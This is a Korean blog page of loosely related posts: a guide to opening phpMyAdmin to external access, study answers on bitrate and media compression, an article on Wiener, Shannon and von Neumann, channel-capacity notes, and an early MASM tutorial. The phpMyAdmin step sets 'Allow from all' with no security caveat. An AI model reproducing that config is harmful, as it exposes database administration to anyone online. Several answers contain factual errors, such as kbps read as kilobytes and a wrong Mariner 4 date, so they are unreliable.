반응형
달력
반응형
반응형


아이폰으로 블로그 관리도 할수 있네요

iPhone 에서 작성된 글입니다.
반응형
반응형

[ phpMyAdmin의 외부접속 설정 및 확인 ]

phpMyAdmin을 실행 하는데 http://localhost/myadmin/이 아닌 http://jobdahan.dnip.net/myadmin/처럼
도메인이 들어간 URL로 접속하는 방법에 대해서 알아 볼 것입니다.

지금 실험적으로 웹 브라우저의 주소 창에 http://jobdahan.dnip.net/myadmin/을 입력하고 엔터 키를 쳐
보십시오. phpMyAdmin 초기화면이 보입니까? 아마 찾을 수 없다는 메시지가 보일 것입니다.

 

 

네~? 외부접속 설정을 하지 않았는데도 phpMyAdmin 초기화면이 보인다구요?
그렇담 빨리 댓글 달아 소개해 주시기 바랍니다.^^;


이 설정은 간단한 것이니 웹 브라우저에 phpMyAdmin 초기화면이 보이지 않은 분들은 아래 설명된 순서에
따라 설정하고 동작을 확인해 보시기 바랍니다. 쉽게 하실 수 있을 것입니다.


1. 외부접속 환경으로 설정하기

 1) C:\APM_Setup\Server\Apache\conf\extra\ 폴더에 있는 httpd-alias.conf 파일을 메모장이나
     에디터로 불러 들입니다.

 2) 아래의 설명을 참조하여 수정하고 저장합니다.

<IfModule alias_module>

    Alias /myadmin/ "C:/APM_Setup/Server/phpMyAdmin/"
    <Directory "C:/APM_Setup/Server/phpMyAdmin">
        Options MultiViews
        AllowOverride None
        Order deny,allow       =>  Order allow,deny 로 수정
        deny from all             => Allow from all 로 수정
        Allow from 127.0.0.1   => 삭제
    </Directory>

</IfModule>

 

[ 수정 후 httpd-alias.conf 내용 ]

 

2. 아파치(Apache) 서버 재시작

아파치 서버를 재시작하기 위해서 탐색기를 열고 C:\APM_Setup\Command\ 폴더로 이동해서
restart_apache.cmd를 더블클릭하여 실행시킵니다.

명령 프롬프트 창이 열리면서 Apache 서버를 멈춘 다음, 다시 시작하는 메시지가 보여지며
처리가 끝나면 자동으로 창이 닫힐 것입니다.

 

 

3. phpMyAdmin 외부접속 확인

 1) 웹 브라우저의 주소 창에 http://도메인/myadmin/을 입력하고 [Enter] 키를 칩니다.
     예) http://jobdahan.dnip.net/myadmin/

 2) 에러 메시가 없는 phpMyAdmin 초기화면이 나오면 성공입니다.
    (엥? 그 대로 했는데 나오지 않는다구요? 혹시 myadmin 뒤에 '/'를 빼먹진 않으셨나요?)

    사용자명을 root로 입력한 다음 암호입력하여 로그인이 되는지 확인합니다.

 3) 로그인 되는 것을 확인하였으면 로그아웃을 눌러 빠져나옵니다.

자신의 컴퓨터가 아닌 다른 컴퓨터에서도 확인해 보시기 바랍니다.
인터넷이 연결된 곳이면 어디서나 phpMyAdmin 실행이 가능하므로 자신의 데이터베이스 서버인
MySQL에 접속할 수 있을 것입니다.

 

--------------------------------------------------


반응형
반응형
1.비트전송률은 단위 시간동안에 얼마나 많은 자료를 전송하는지 나타낸다.
만약 10초동안 3250KB를 전송한다면 비트전송률은 325KB이다.

3250kb와 3250KB의 속도.

-----------------------------------------------------------------------------------------------------------
KBPS(KiloBitsPerSecond)의 뜻

비트전송률인데 정확히 말하자면, 초당 전송속도 입니다.
Killo Byte(용량단위), Per(나누다, ~에 대해), Second(초)입니다.
그래서 초당 몇 KB를 보낸다는 뜻입니다.
대게 축약해서 KB/s라고 표현하기도 합니다.
만약 1KB/s (1Kbps)라면 1초동안 1KB의 용량이 전송된다는 것이죠.
2KB/s면 1초동안 2KB전송,
KBPS가 많으면 많을수록 음질이 더 좋고 용량이 더 높습니다.
옛날에는 자주 나오지만, 요즘은 MB/s, GB/s (Mbps, Gbps)등을 많이 사용합니다.
그만큼 속도가 빨라졌죠...

 주로 USB 2.0은 480Mbps, S-ATA2는 3Gbps정도 입니다.
잘은 모르겠지만,
아마 USB 1.1은 300Mbps, S-ATA1는 1Gbps정도 일 겉 같습니다.
참고로 1MB=1,000KB, 1GB=1,000MB입니다

 

KBPS가 음질에 직접적으로 미치는 영향은?
만약 64kbps짜리 노래를 다운 받앗는데 256kbps바꾸면
음질이 256kbps로 되는게 아님니다 64이거나 그 이하가 됩니다

-----------------------------------------------------------------------------------------------------------

2.지구가 아닌 다른 행성의 사진을 최초로 찍은 우주선은 1956년에 화성에 도달한 마리너4호였다. 화성을 대상으로 22장의 완전한 사진을 촬영할 때 각 사진은 200 x 200 해상도였다.
화소 하나를 표현하는데는 6비트를 사용하며, 밝기는 000000 부터 111111까지 나누었다.
사진 한 장의 용량은 몇 바이트인가?
(사진 총 200x200 개의 화소로 이루어져 있는데 하나의 화소를 표현하는데 6비트가 필요함. 사진 한장의 용량은?)
200x200x6=240,000 bit=30,000 byte

-----------------------------------------------------------------------------------------------------------

3.마리너4호가 지구로 사진을 전송할 때 1초에 8과 1/3속도였다. 사진 1장을 전송하는데 얼마의 전송시간이 걸릴까?
8시간
240000*(3/25)=28800초/60sec/60min=8시간

--------------------------------------------------------------------------------
4.마리너4호가 적은 사진은 가장 밝은 것도 000000로 표현하고 가장 어두운 곳은 111111까지 표현했다. 그리고 그 범위에서 가용한 값들을 모두 밝기로 표현했다. 마리너 4호의 밝기는 총 몇 등급으로 나눈 것인가?
2의 6승=64
--------------------------------------------------------------------------------
5.4년이 지나 화성 탐사선이 사진을 전송할 때 비트 전송률이 1620bps로 향상되었다. 그러나 마리너의 카메라는 1초에 100,000개가 넘는 화소를 만들어냈다.
이것이 의미하는 바는?
-최소한의 비트 전송률은 100,000으로 그 당시의 비트 전송률은 높았다.

--------------------------------------------------------------------------------


6.코덱과 파일형식은 같은가?
동일하지 않다면 그 이유는?

--------------------------------------------------------------------------------
7.CD한 장에 최대 1시간 남짓 다른 음악을 저장할 수 있는 이유는?

44.1khz 16비트 스테레오 의 경우 1초당 필요한 양은 44100 * 16비트 * 2(스테레오) = 1411200bit
..초당
 1411.2kbit 정도됩니다.... 그리고 byte로 고치면 1411200/8=176400byte입니다.
그렇다면 CD한장의 용량은 640메가이기 때문에

(44100Hz*16Bit*2Stereo*60Sec*60Min)/8(byte로 환산)=635040000Byte입니다.
즉 635메가로 CD한장 용량이 됩니다.
--------------------------------------------------------------------------------

8.MP3 표본당 비트수?
128Kbit의 비트레이트로 압축한 경우 비트수는 16비트이고, 스테레오로 압축된다.
비트 수는 그대로지만 44100Hz 주파수 중 필요없는 부분이 제거됨에 따라 초당 전송률 즉 비트레이트가 128Kbit로 고정시킵니다.
--------------------------------------------------------------------------------
9.멀티미디어 파일을 압축해도 효과가 없는 이유?
멀티미디어 파일들인 JPEG,MP3,AVI 들의 확장자를 가진 파일들은 이미 사람이 감지 할 수 없는 영역을 지운 손실기법으로 압축되어 있어서 용량이 적은 형식이 사용되는데 이를 ZIP,RAR등으로 재압축하더라도 무손실 압축기법이라 같은 내용의 반복을 찾기 힘들기 때문에 거의 효과를 보지 못한다.
--------------------------------------------------------------------------------
10.ASCII에 적용된 패리티비트
아스키코드는 7비트로 표현되므로 128개의 문자가 표시될 수 있다. 아스키에 표현된 문자는
모두 8비트단위로 저장 또는 전송되며, 8번째 비트는 패리티비트이다.
패리티 비트는 자기 자신을 포함하여 모든 비트열에 있는 1의 합이 항상 짝수 또는 홀수 개를
유지할 수 있도록 비트열에 추가된 검사비트여서 데이터 통신용으로 아스키코드를 많이 사용한다.

--------------------------------------------------------------------------------
11.프레임과 픽처

프레임은 동영상을 이루는 가장 기본적인 단위로 1초당 보통 24장의 픽처(사진)가 순차적으로
나오는데, 사람의 눈으로는 움직이는 영상이 되는 기법이다.
픽처는 정지되어 있는 정적인 그림이다.

--------------------------------------------------------------------------------

12.동영상 압축기술에 이용되는 세가지
화면 간 중복 : 현재 화면과 이전 화면이 비슷할 때 변화된 부분의 정보만 저장하는 기술
화소 간 중복 : 한 화면 내에서 중복된 화소 부분의 성분 제거
통계적 중복 : 변환을 거친 데이터 중 통계적으로 중복된 정보를 다시 축소 변환
--------------------------------------------------------------------------------

13.DOLBY DIGITAL(돌비사의 기술)
최고 1.8Mbps의 비트전송률을 가지는 디지털 압축기술
스튜디오 마스터와 동일
텔레비전이나 DVD시스템으로 영화를 볼때 압축을 경험하고 있다.
DVD의 해상도는 720x480
블루레이의 해상도는 1920X1080

14.코덱과 파일 형식(파일 포멧)의 차이
파일 포멧과 코덱에 대해서 혼동할 수 있는데 AVI는 MS윈도우 비디오 지원 기본 파일 포멧이며,
MOV는 애플사의 동영상 파일 포멧의 확장자이다.
실제 코덱은 확장자가 아니라
비디오 코덱과 오디오 코덱으로 나뉘며, dvix,cinepak,mpeg layer 1,2,3,h264 등으로
해당 동영상 파일 포멧을 각각 지원하고 있다.

반응형
반응형
1948년 세 천재 위너, 샤논, 노이만

디지털 시대 개척한 3대 이론

오늘날 우리가 향유하고 있는 디지털 문명의 기틀은 1948년 발표된 3개의 이론에 그 뿌리를 두고 있다. 노버트 위너의 사이버네틱스 이론, 클라우드 샤논의 정보이론, 존 폰 노이만의 자기증식 자동자이론이 그것이다. 박채규 / 한강시스템 사장

과학자들의 오랜 소망이었던 '인간의 두뇌를 닮은 기계의 발명' 은 20세기 들어 그 이론적 모델이 하나 둘 제시되기 시작했다. 드디어 1946년에는 최초의 디지털 컴퓨터인 에니악이 탄생했고, 이로 인해 컴퓨터 연구는 본격적인 국면에 돌입했다. 모든 과학이 그러했듯이 컴퓨터과학의 발전도 충실한 이론적 토양이 없이는 불가능했을 것이다. 컴퓨터 과학의 이론 대부분은 40년대를 전후해 정립되기 시작했다. 특히 1948년은 중요한 이론들이 많이 발표돼 컴퓨터와 정보기술의 기반을 확고히 한 해였다. 노버트 위너의 사이버네틱스(Cybernetics)이론, 클라우드 샤논의 정보(information)이론, 존 폰 노이만의 자기증식 자동자(self-reproduction automaton)이론 등이 모두 한 해에 등장한 것이다.

폰 노이만과 자기증식 자동자
이들 세사람에 앞서 '생각하는 기계'의 가능성에 대한 탐구는 이미 1930년대부터 매우 활발히 전개되기 시작했다. 이 시기를 주도하면서 현대 컴퓨터의 이론적 모델을 최초로 제시한 과학자는 영국의 앨런 튜링(Alan Turing)이었다. 튜링은 인간의 두뇌와 비슷한 동작을 하는 계산기계의 모습을 정의해 이를 자동자이론으로 정리했으며, 튜링기계와 함께 튜링의 위대한 업적으로 남아 있다. 자동자란 일정한 형태의 입력과 출력이 존재할 때 이들을 처리할 수 있는 내부상태를 완전하게 설명할 수 있는 시스템을 의미한다. 자동자이론은 훗날 모든 추론의 기초가 된 '형식기계'의 개념을 최초로 정립한 것으로, 계산에 필요한 요소와 해법이 존재하는 모든 종류의 계산은 적합한 처리 절차를 만들어 기계를 통해 실행시킬 수 있다는 이론이다. 튜링의 이론을 이어받아 컴퓨터의 구조 체계를 정리한 사람은 노이만이었다. 1903년 헝가리에서 태어나 어릴 적부터 수학에 남다른 재능을 보였던 노이만은 학업을 마치고 불안정한 정치 상황을 피해 오스트리아와 독일 등지를 전전하다가 1930년 미국으로 건너갔다. 2차대전이 터지자 친구의 권유로 핵폭탄 개발계획인 맨하탄 프로젝트에 참여한 그는 원자폭탄의 개발과정에 깊이 개입하면서 컴퓨터 역사에 결정적인 자취를 남기게 된다. 컴퓨터이론에 관한 그의 가장 중요한 기여라면 역시 튜링기계에 고무돼 디지털 계산기의 체계를 정의한 폰 노이만 기계(von Neumann machine)라 할 수 있다.노이만은 인간의 신경계, 혹은 미래의 컴퓨터와 같이 매우 복잡한 형태의 자동자에 많은 관심을 기울였다. 그 결과물이 1948년 발표한 인공 피조물의 자연행동과 기계의 자기증식에 관한 자동자이론이다. 노이만의 자기증식 자동자이론은 생명체의 기본적인 행동을 합성하면 보다 복잡한 형태의 기능을 실현시킬 수 있다는 이론이다. 이는 훗날 보다 확장된 개념인 세포자동자(cellular automaton)이론으로 발전함으로써 지능기계와 생명을 가진 컴퓨터 창조의 기틀을 마련했다.노이만은 자동자 이론으로 작은 구성물을 이용해 복잡한 기능과 구조를 갖는 기계의 실현 가능성을 열어놓았다. 자기증식하는 자동자에 관한 이론은 훗날 인공생명(artificial life) 연구에 관한 이론적 기초가 된다. 자동자이론의 특징은 "초기 상태의 세포는 보편적 특성을 가지므로 자기증식이 가능하며, 자기증식이 가능한 패턴이 세포 내에 여러개 존재한다면 복잡하고 역동적인 새로운 패턴을 만들 수 있다"는 것으로 요약된다. 따라서 자동자이론의 핵심적인 과제이자 자기증식의 신뢰성을 좌우하는 요소는 '실현하고자 하는 자동자의 복잡성'이라 할 수 있다. 동물이 진화하는 과정에 복잡성은 날로 증가한다. 따라서 자기증식하는 기계 역시 복잡성의 증가가 보장돼야만 자신보다 복잡한 다른 기계를 만들 수 있다. 노이만은 자신이 내놓은 초기 이론에 만족하지 않고 여러개의 동일한 유한 자동자를 확장해 세포자동자이론을 전개했다. 노이만의 업적 중 또 하나는 게임이론이다. 모르겐스턴(Oskar Morgenstern)과 함께 발표한 논문에서 그들은 게임에도 최선의 것이 존재하며 수학적인 관점으로 정리될 수 있음을 증명했다. 게임이론은 경쟁과 협조가 복합적으로 작용하는 현대의 경제행위나 군사행동에 있어 불확실한 상황의 결과를 예측하고 최대의 이익 확보와 최적의 전략 수립에 널리 활용되는 이론이다. 1950년대에 접어들어 핵폭탄 개발의 주역이던 아인슈타인과 오펜하이머가 떠난 뒤 홀로 남아 프로젝트를 이끌던 노이만은 1957년 골수암으로 세상을 떠났다.

샤논과 정보이론
노이만은 컴퓨터의 구조 체계를 정립했고 컴퓨터를 실현할 수 있는 문을 열었다. 그런 컴퓨터의 실제 개발 과정에는 수학과 전자 공학이 불가분의 관계를 맺기 시작한 시점이 있다. 바로 불 대수(Boolean algebra)와 스위칭 회로(switching circuit)란 개념이 결합하는 시기다. 샤논은 이 시기에 각 개념간의 관계를 정의하고 그것이 컴퓨터 작동의 기본 원리가 됨을 최초로 증명해냈다. 1916년 미국 미시간주에서 변호사의 아들로 태어나 에디슨을 흠모하며 자란 샤논은 MIT에서 전자공학과 수학, 물리학 등 다양한 학문적 기반을 구축했다. 샤논은 당시 MIT에 재직하고 있던 위너로부터 많은 영향을 받아 통신과 정보분야에 획기적인 이정표로 평가되는 정보이론을 정립했다. 정보이론이란 통신경로상에서 부호화시킬 수 있는 모근 것은 정보로 간주될 수 있다는 이론이다.그는 정보이론을 통해 종래에는 파형의 전송계로만 이해되던 통신계통을 여러 단계로 모델화해 그 속에 정보를 흐르게 할 수 있음을 증명했다. 그가 정의한 통신계통의 모델은 '정보제공자'로부터 '부호기', '통신경로', '복호기', 그리고 '수신자'로 이어지는 일련의 체계를 말한다. 통신경로상에 신호가 이동할 때는 그 속에 왜곡현상이 생기는데 이를 잡음이라 한다. 일반적으로 통신에서는 정보전송률이 증가하면 잡음도 증가해 신뢰도가 떨어지는데, 샤논은 통신경로를 통해 전송 할 수 있는 최대 정보전송률을 정의했다. 그가 정의한 정보전송률은 전송대역폭과 전송신호에 대한 잡음비율에 관한 함수로, 전송대역폭을 증가시키거나 신호대 잡음비를 크게 하면 보다 많은 양의 신호를 빠른 속도로 전송할 수 있음을 보여주었다. 따라서 정보이론은 통신경로상에서 정보전송능력의 이론적 한계를 제시한 것이라고도 할 수 있다. 샤논의 최대 정보전송률은 아무리 우수한 변조 방식이나 부호화 기법이 제시된다 해도 전송대역폭이나 신호 대 잡음비를 개선시키지 못하면 정보전송량을 늘리지 못함을 의미한다. 잡음이 없는 이상적인 채널이 존재한다면 신호대 잡음비는 무한대가 돼 이론상으로 정보전송량은 무한대가 되며, 전송대역폭을 무한대로 하는 경우에도 마찬가지 결과가 나올 수 있다. 그러나 실제로는 전송대역폭을 무한히 확대시키면 잡음의 증가로 인해 신호 대 잡음비가 감소하기 때문에 전송률의 무한대 확장은 사실상 불가능하다. 샤논은 스위칭 개념을 2치 논리학의 참과 거짓에 대응한 0과 1로 표현할 것을 주장해 정보의 단위로 비트 개념을 창안함으로써 컴퓨터에서의 정보 표현에 관한 새로운 지평을 열었다. 그는 아울러 통신경로상에서 전송되는 정보의 비트 순서는 예측 불가능한 특성을 가진다고도 했다. 따라서 비트의 순서를 예측할 수 있다면 인위적으로 정보전송량의 증가를 가져오게 할 수 있지만, 그러지 못하는 일반 통신경로상에서 최대 정보전송률은 이론적 한계를 벗어날 수가 없다는 것이다. 정보이론은 부호화된 펄스의 흐름으로 음성이나 화상 등의 정보를 조작하는 오늘날의 보편화된 디지털시스템의 이론적 기반이 되었으며, 웹의 개발도 정보이론 없이는 불가능했을 것이다. 벨연구소에 줄곧 재직했던 샤논은 1978년까지 MIT에서 강의를 맡다가 은퇴해 지금은 매사추세츠주의 윈체스터에서 노년기를 보내고 있다.

위너와 사이버네틱스 이론
컴퓨터 역사를 보면 튜링이나 노이만처럼 보통 사람과 확실히 구별되는 천재 과학자들의 모습들이 많이 보인다. 그들 중에는 기계와 기계, 기계와 동물 사이의 통신과 제어에 관한 연구로 컴퓨터와 통신의 기본을 구축한 위너가 빠질 수 없다. 그는 사이버네틱스이론으로 생물과 무생물간에 동일하게 적용될 수 있는 이론의 수준을 제어와 통신과정으로 설명함으로써 인공두뇌의 연구와 통신이론의 정립에 결정적으로 기여했다. 1894년 미국 컬럼비아에서 태어난 위너는 11세의 어린 나이에 대학에 진학한 천재였다. 영국과 독일에서 러셀과 하디, 힐버트 등 대가의 가르침을 받았던 그는 천재들이 겪는 외로움과 심약함, 지적 갈증 등을 이기지 못하고 방황하다가 뒤늦게 MIT에 정착했다.계산기계에 관심을 기울였던 위너는 계산기의 본질은 통신장치이며, 정보의 지령에 의해 움직인다는 것을 정리해 계산에 관한 이론 전체가 통신영역에 포함될 수 있음을 주장했다. 그 과정 중에 통신공학 자체가 통계적인 관점에서 다루어져야 한다는 통계적 사고개념을 전개해 통계적 통신이론의 길을 열었다. 통계적 사고 개념을 사용하면 우연성을 많이 고려해야 하는 물리학의 영역도 수학을 이용해 통계적으로 표현할 수 있다. 따라서 위너의 개념은 통신이론의 연구에 필수적인 수학적 기초를 제공한 것으로 평가되며, 이런 과정에서 만들어진 사이버네틱스 이론은 기계와 수학이론 사이의 철학적 관계도 정립시켰다. 이 작업은 기계의 실질적인 개발에는 직접 기여하지 못했지만 자동자이론에 관한 연구를 자극함으로써 인간의 사고 과정을 탐구하는 시도를 촉진시켰다.사이버네틱스란 말은 그리스어로 '배의 키를 잡는 사람', 즉 조타수를 의미하는 말에서 유래한 것으로 위너가 직접 만든 단어다. 사이버네틱스는 어떤 시스템이 시간의 흐름에 관계없이 스스로의 상태를 계속해서 유지시킬 수 있는 방법을 설명하는 일반적인 이론이라고 할 수 있다. 사이버네틱스는 일종의 정보이론에 관한 것으로 과학과 기술은 물론, 인간활동의 본질까지 포함하는 지극히 광범위한 영역에 관계하는 종합적인 이론이었다. 사이버네틱스는 인간과 기계를 하나의 공통적인 개념으로 이해하고자 했던 과학계의 숙원을 해결했다. 특히 생명 그 자체마저도 외부로부터 정보를 받아 처리하는 시스템으로 간주하는 시스템이론도 정립됐다. 시스템이론에서는 인간을 일종의 정보처리 체계로 보기 때문에 사고, 지각, 언어 등 다양한 인지기능 모두가 계산 활동의 일환이며, 더 이상 생물과 무생물의 구분이 무의미해진다. 이와 같이 생명에 대한 이해가 시스템이론으로 전개되자 자동자이론은 급속한 진전을 보게 되고, 반도체의 발명과 더불어 찬란한 컴퓨터 시대가 열리게 됐다.1950년대 후반기에 들어 위너는 디지털시대의 도래를 예견하면서 이론적 탐구보다는 MIT의 인재들과 함께 컴퓨터 연구에 매달렸다. 위너는 컴퓨터의 출현이 증기기관 및 전기의 발명에 이은 제 2의 산업혁명을 이끌 것이라고 예언했다. 위너는 샤논과 함께 정보이론 정립에 결정적인 기여를 했지만 샤논과는 정보개념에의 접근방식에 대한 견해가 달랐다. 그런 견해 차이는 그들 각자의 고유한 이론의 핵심이기도 했다. 샤논은 통신계통의 해석을 통했던 반면, 위너는 제어계통의 해석을 통해서 정보에 접근하려 했던 것이다. 위너는 본래 수학자였지만 그의 사이버네틱스 이론은 수학을 기본으로 해 상대성이론, 양자역학 등 물리학과 전기공학, 의학, 병리학 등 다양한 분야에 많은 영향을 끼쳤다. 노년기에도 미국뿐만 아니라 전세계의 연구소와 학교를 돌면서 정력적인 강의와 강연 활동을 펼치던 위너는 1964년 3월 어느날 스톡홀름에서 강연을 마치고 연단을 내려서다가 쓰러져 더이상 일어나지 못했다.

3대이론의 의미와 천재들
컴퓨터는 불과 50년 밖에 안되는 짧은 기간 동안 비약적인 발전을 이룩했다. 지금은 특히 생명체를 닮은 기계의 구현, 즉 인공생명에 대한 관심이 날로 높아가고 있다. 앞서 열거한 3명의 과학자들은 자동자이론에서 출발한 생각하는 기계에 대한 탐구를 주로 논리적인 관점에서 발전시켰다고 할 수 있다. 그런 탐구의 결과로 생명체의 자기증식과 생물과 기계 사이의 관계 규명은 인공생명 등 컴퓨터의 궁극적인 모습을 예견하게 하는 이론으로 전개됐다.21세기가 다하기 전에 인공생명의 실현은 어떤 형태로든지 가능할 것이라고 한다. 이제 새로운 50년의 컴퓨터 역사는 50년 전의 천재 과학자들이 만들고 가꾸어온 이론들이 한데 어우러져 충격적인 인공생명의 창조를 엮어 갈 것이다. 튜링을 포함해 초기 컴퓨터이론의 개척과 정립에 기여했던 과학자들의 말년이나 최후는 그들의 천재성만큼이나 매우 특이한 모습을 보였다. 튜링은 동성연애 등 비정상적인 생활과 무인도게임이라는 지적 유희에 매달려 나락의 길을 가다가 결국 독약을 마시고 42세의 젊은 나이에 생을 마감했다. 노이만은 그가 남긴 찬란한 업적에 어울리지 않는 원자폭탄 개발 주역이라는 신분 때문에 암과의 투병 생활마저도 감시당한 채 54세를 넘기지 못하고 쓸쓸한 최후를 맞았다. 위너는 그나마 70세가 되도록 정력적인 활동을 펼쳤지만 이국의 강연장에서 드라마같은 마지막 길을 가고 말았다. 인간의 두뇌를 닮은 기계에 대한 남다른 소망을 가졌던 이들 세사람의 공통된 특징은 하나같이 극심한 정신적 고뇌에 시달렸다는 점이다. 어쩌면 이같은 고뇌는 그들로 하여금 초기의 컴퓨터이론 정립이라는 불멸의 업적을 남기게 한 것인지도 모른다.
반응형
반응형
v 디지털 전송의 전송용량
비트전송률(bps, bit per second), 채널용량(channel capacity)
v 서비스와 전송용량
고품질 디지털 신호 ® 넓은 대역폭 필요
상충관계 : 서비스 품질 vs. 비용
v 보드전송률(baud rate)과 비트전송률(bit rate)
보드전송률 : 단위시간(초)당 회선 상태의 변화횟수
Data rate = Log2(회선상태의 수) ´ Baud rate
변조율(modulation rate), 신호율(signaling rate)
v 채널용량의 결정
나이퀴스트(Nyquist) 공식:
C = 2 ´W ´ log2 L
이상적인 채널을 가정
샤논(Shannon) 공식:
C = W ´ log2 (1+S/N)
대역폭, 신호 및 잡음(열잡음)의 강도에 의한 최대 전송용량
S/N : 신호대 잡음비 (dB 단위로 표시)
예) 음성채널 (S/N = 35dB, W = 3100Hz)
• C = 3,100 ´ log2 (1+103.5)
= 36,000bps
주) 56kbps 모뎀
정보의 압축기술 / PSTN 이용 방법 개선
v 정보 전송율과 비트 에러율(Bit Error Rate)
Eb / N0= ( W / R ) ´ (S / N)
정보 전송률 : R bps
하나의 비트 전송시간 Tb = 1/R
비트당 신호 에너지의 양 : Eb =S ´ Tb = S / R
채널 대역폭 : W 잡음의 강도 : N
N = W ´ N0 ( N0 :단위 Hz 당 잡음강도 )
BER = f ( Eb / N0 )
정보전송률 R ­ ® 신호 대 잡음비 S/N
반응형
반응형

Win32 MASM 프로그래밍 소개(Visual C++이용)

Written by 권필진. 06'08 - aka Xeno

 


Chapter 1   준비사항

개요 : Win32 프로그래밍을 시작하기 전에

Chapter 1 - 1   주의 사항

MASM 프로그래밍을 하기 전에, 모든 책임은 자신이 진다는 것을 명심하기 바란다. MASM은 로우레벨의 명령어를 실행할 수 있기 때문에, 버그가 발생했을 경우 컴퓨터에 치명적인 에러 혹은 PC자체가 작동하지 않는일도 있을 수도 있다. 그러므로,

이 문서로 인하여 발생한 손해 및 문제는 필자가 어떠한 책임과 보상도 지지 않음을 숙지하고 읽어나가기 바란다.

(너무 겁먹을필요는 없다)

주의:이 문서는 2006년경에 작성 했다. 테스트 환경으로서는 WindowsXP-SP2환경으로 테스트했다. 본 문서는 수시로 변경 될 수도 있다.

Chapter 1 - 2   MASM 입수

MASM 이란, 마이크로소프트사의 어셈블러 툴이다. 현재는 무상으로 제공되기 때문에, 어셈블러공부를 하고 싶다면 지금이 최적의 시기이다. 어셈블리를 익히게 된다면 컴퓨터에 대해 지금까지 몰랐던 것을 알 수있게 될지도 모른다. 하지만, MASM을 설명하는 곳은 드믈고 자료또한 거의 없기 때문에 이렇게 문서를 작성하고 있는 것이다. 또한, 본 문서는 간단한 소개정도에 그치는 수준이며 좀더 자세한 내용은 추후로 미루는 것 또한 알아두기 바란다.

그렇다면 먼저, MASM을 구해야 한다. 이미 말했듯이, 현재는 무상으로 제공되기 때문에, 마이크로소프트의 홈페이지에서 다운로드 한다. 마이크로소프트의 DDK (Driver Development Kit) 라는 패키지 안에 포함되어있다. DDK 는, 20메가 이상의 크기일것이므로 다운로드하는데 시간이 걸릴지도 모른다.

참고로, DDK 에 들어있는 MASM은 버젼이 낮고 MMX명령어를 인식하지 못하기 때문에, 강좌와 버젼을 맞출려면 「패치」를 해주어야 한다. 패치 또한 마이크로소프트의 홈페이지에서 구할 수가 있고, 다운로드한 후 압축을 해제하고 , 파일들을 모두 MASM이 있는 디렉토리안에 복사 한 후「패치」실행 파일을 실행한다.

MASM 의 버젼이 최신상태로 되었다면, VC++ 에서 MASM를 사용할 수 있도록 설정한다. 이렇게 하면 VC환경에서 어셈블리환경을 사용할 수가 있게 되므로, 여러가지 편리한 점이 있다.

가장 먼저 해야하는 것은, MASM 를 구해야 한다. 이것은 아래의 장소에서 구할 수가 있다.

상기에서 설명했듯이 MASM을 구하고 패치를 해야하지만 번거롭다. 이럴경우 VC용 패키지가 존재한다. 본 강좌에서는

이방법을 사용하기로 한다.

Visual C++ 6.0 에 MASM를 추가하는 가장 간단한 방법은, ProcessorPack 의 추가이다. 이미 ML버전이 6.15가 포함되어 있기 때문에, 패치 단계가 필요없다. 하지만, 패키지가 SP4 ,SP5 전용이기 때문에, SP6 을 설치했다면, /C 옵션을 사용해서 압축을 해제한 후 직접 설치해 주어야한다. 참고로 VisualStudio.NET 이상 버전에는 ML.EXE 는 추가해 주지않아도 이미 포함 되어있다. 2002 는 버전 7.00 이며, 2003에는 7.10 이 포함 되어 있다. 아래의 주소에서 ProcessorPack을 다운로드 할 수있다.

http://msdn.microsoft.com/vstudio/downloads/tools/ppack/default.aspx 에서 "Download Now" 부분을 클릭한다. 혹은 http://download.microsoft.com/download/vb60ent/update/6/w9x2kxp/en-us/vcpp5.exe 링크를 클릭해서 다운 받은 후 vcpp5.exe / c 옵션으로 압축을 해제해도 된다. WinZip과 같은 압축 프로그램으로도 압축을 해제할 수있다.

압축해제한 후 해당 폴더를 VC의 설치 폴더에 통째로 복사해준 후 아래의 순서대로 경로를 잡아주면 된다.

MASM를 구했는가? MASM의 프로그램 파일명은 ML.EXE 라는 이름이다. 이 프로그램은 소스파일을 어셈블링 해주고 링크까지 해주게 되며,원한다면, 오브젝트파일만 생성해 줄 수도 있다.(16bit링커사용시)

추가로, 본강좌에 사용되는 Microsof Visual C++ 6.0은 제공해 줄 수가 없다. 각자 구하기 바란다.(-_-)

사용된 소스는 복사해서 붙여넣기를 수행해도 작동하도록 되어있으며, 텍스트뷰어는 소스파일의 링크를 클릭해서

해당 .dsw파일을 열어서 F5키를 눌러서 실행하면 된다.

 

 

Chapter 1 - 3   VC++에서 MASM을 사용하도록 설정

이제부터는, MASM를 VC++에서 사용할 수 있도록 해보자. MASM을 VC++ 에서 사용할려면, VC++의 「커스텀 빌드」라는 기능을 사용해야한다.

먼저 File -> New 를 선택해서 Win32 Application을 선택한 후 "An Empty Project"를 선택한 후 다시 File->New를

선택해서 Text File을 선택하고 파일명을 "VCMASM.ASM"이라고 정해주고 아래의 내용을 수행해 보기 바란다.

VC++에서 ML.EXE 를 실행해야 하므로, 실행파일 경로를 설정해주어야 한다. 「Tools」-> 「Options」을 선택하고 아래와 같이 설정한다.

Directories」탭으로 이동후에 반드시 「Executable Files」를 선택하기 바란다. 추가 버튼을 눌러서 압축해제한 폴더를 지정해준다. 참고로, 가장 하단에 추가하기 바란다. 본 강좌에서는 C:\VC60\VCPP5 라는 폴더이다.

이제 실제로 간단한 프로그램을 만들어 보자.

File -> New로, Win32 application 의 시작 프로젝트를 작성한다. 그런 다음에, MASM의 소스코드를 작성합니다. 이것은 File -> New -> Files탭에서, 확장자(extension)가 ASM 이 되게끔 하고 신규파일을 작성한다.

그런 다음, 커스텀 빌드의 설정을 한다. Project -> Setting을 선택하고, 어셈블리 소스 파일을 선택한다. 커스텀 빌드 탭을 선택한 후, 아래와 같이 설정한다.

Commands 텍스트 박스에는,

ml /c /coff /Cx /nologo /Fo$(OutDir)\ /Fl$(InputName) /Zi $(InputPath)

로 설정한다. 이는 디버그 모드의 경우지만, 릴리즈 모드로 할 경우, 커맨드에 있는 /Zi 플래그를 제거하면 된다.

Outputs의 텍스트박스에는,

$(OutDir)\$(InputName).obj

로 설정해 준다. 이제부터는 VC에서, Build-> Run 을 선택하면, 자동으로 어셈블해주고 링크도 VC++가 알아서 해주게 된다. 하지만, 조금 번거로운것은, 파일을 작성할 때 마다 커스텀 빌드를 설정해 줘야 한다는 것이다.

좀 더 자세한 자료는 다음부분을 참고하기 바란다 → Microsoft Support Q106399  (영어)

커스텀 빌드에 대해, 좀 더 자세하게 알고 싶다면, MSDN에 자료가 아주 상세하게 설명되어 있기 때문에, 그부분을 참조하기 바란다.

Chapter 1 - 4   최초의 MASM 프로그램

